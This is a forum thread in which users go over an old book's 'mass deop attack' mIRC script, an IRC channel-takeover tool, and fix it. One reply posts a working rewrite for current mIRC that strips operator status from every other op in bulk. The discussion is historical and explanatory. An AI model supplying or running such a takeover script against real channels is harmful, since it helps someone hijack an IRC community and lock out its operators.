mIRC Home    About    Download    Register    News    Help

Print Thread
Joined: Jun 2024
Posts: 2
G
gmacar Offline OP
Bowl of petunias
OP Offline
Bowl of petunias
G
Joined: Jun 2024
Posts: 2
Hello everyone.
I last used mIRC in 1999. I'm reading a book that has taken me on a trip down memory lane: "Malicious Mobile Code: Virus Protection for Windows" O'Reilly (2001). Nowadays, i.e. 25 years later, some concepts explained in the book sounds funny, but let's cut to the chase. From page 243 (I'm copy-pasting):

Mass deop attack

Once a hacker has taken control of a channel, he has to make sure he is the only operator. So, he has to have a script tool that will automatically "deop" any remaining operators, while making sure not to deop his own account. The script shown in Example 7-3 automates that process.

Example 7-3. Example deop attack malicious script

Alias:
Code
madeop {
  %deopv = 0
  %deopn = ""
  :xnext
  inc %deopv 1
  if ($opnick(%deopv,$$1) == $me) { goto xnext }
  if ($opnick(%deopv,$$1) == $null)
  {
    if ($len(%deopn) > 0) { mode # -oooo %deopn } goto xdone
  }
  %deopn = %deopn $opnick(%deopv,$$1)
  if (4 // %deopv) { mode # -oooo %deopn | %deopn = "" }
  goto xnext
  :xdone
}
To use it, the hacker would have to have operator status and then type /madeop {channel}.


Please note this is exactly what the book says; I didn't change anything.
I'm not familiar with mIRC's scripting language. Also, I'm on a Mac, so I can't run the script on mIRC.

That being said, is that script correct?

I see 4 // %deopv , but shouldn't it be %deopv // 4 ?
And why is he deopping four users at a time? Wouldn't three be a better choice?
Also, I suppose $opnick(%deopv,$$1) is the %deopv-nth op's name, but why not write $opnick(%deopv,#) or $opnick(#,%deopv) ?

Joined: Jul 2006
Posts: 4,185
W
Hoopy frood
Offline
Hoopy frood
W
Joined: Jul 2006
Posts: 4,185
Yes the script is almost correct, but it will only work up to mIRC 5.0, after which the order of parameter of $opnick() changed, which is why the channel name is the second parameter here.
Using $chan instead of $$1 or $1 is not correct as $chan refer to the current channel, while $1 is the first parameter passed to the alias/function, so allowing it to work on any channel.
4 // %deop is correct, checks if %deop is a multiple of 4.
Why would 3 be better than 4 deop at the same time?

The only thing that would make it not correct is the { bracket of the if statement not being on the same line as the if statement, as far as I know mIRC has never supported this.
And the usage of $chan in /mode instead of using $1 or $$1.
But the script would only break when testing with a number of opped nickname that is not a multiple of 4 or when the current channel is not the channel you want to deop on.

Here is a rewrite for current mIRC:

Code
madeop {
  var %nicks,%a 1
  while ($opnick($$1,%a)) {
    if ($v1 != $me) {
      %nicks = %nicks $v1
      if ($numtok(%nicks,32) == $modespl) {
        mode $1 - $+ $str(o,$v1) %nicks
        %nicks =
      }
    }
    inc %a
  }
  if ($numtok(%nicks,32) > 0) mode $1 - $+ $str(o,$v1) %nicks
}

It would deop $modespl nicks at a time, which is the maximum number of modes you can do at the same time for any server.

Last edited by Wims; 25/06/24 09:36 PM.

#mircscripting @ irc.swiftirc.net == the best mIRC help channel
Joined: Feb 2011
Posts: 462
K
Pan-dimensional mouse
Offline
Pan-dimensional mouse
K
Joined: Feb 2011
Posts: 462
Quote
And why is he deopping four users at a time? Wouldn't three be a better choice?
The best choice would be the maximum number of mode changes the IRC network allows per line. The $modespl identifier is used for that. There is no standard so max number of mode changes in a single command can be anywhere between 1 and infinity.

If you have 100 users and deop three at a time the script would need to do "/mode #channel -ooo xxx xxx xxx" 33.333333 (actually 34 since you have one user left over) times. (100 / 3 = 33.333333) .

If you have 100 users and deop four at a time the script would need to do "/mode #channel -oooo xxx xxx xxx xxx" 25 times. (100 / 4 = 25).

Joined: Jun 2024
Posts: 2
G
gmacar Offline OP
Bowl of petunias
OP Offline
Bowl of petunias
G
Joined: Jun 2024
Posts: 2
Originally Posted by Wims
Why would 3 be better than 4 deop at the same time?

From RFC 1459:
"When using the 'o' and 'b' options, a restriction on a total of three per mode command has been imposed."

so that statement is no longer valid?

Joined: Feb 2011
Posts: 462
K
Pan-dimensional mouse
Offline
Pan-dimensional mouse
K
Joined: Feb 2011
Posts: 462
The RFC's are more like guidelines than actual rules. The majority of the IRCd's that exists ignores the MODES=3 and use a higher number.

Joined: Dec 2002
Posts: 5,490
Hoopy frood
Offline
Hoopy frood
Joined: Dec 2002
Posts: 5,490
One other issue: since %deopv is being used to both iterate through $opnick() and in "/if (4 // %deopv)", after the "== $me" check skips your own nickname, it looks like %deopv and %deopn will be out of sync.


Link Copied to Clipboard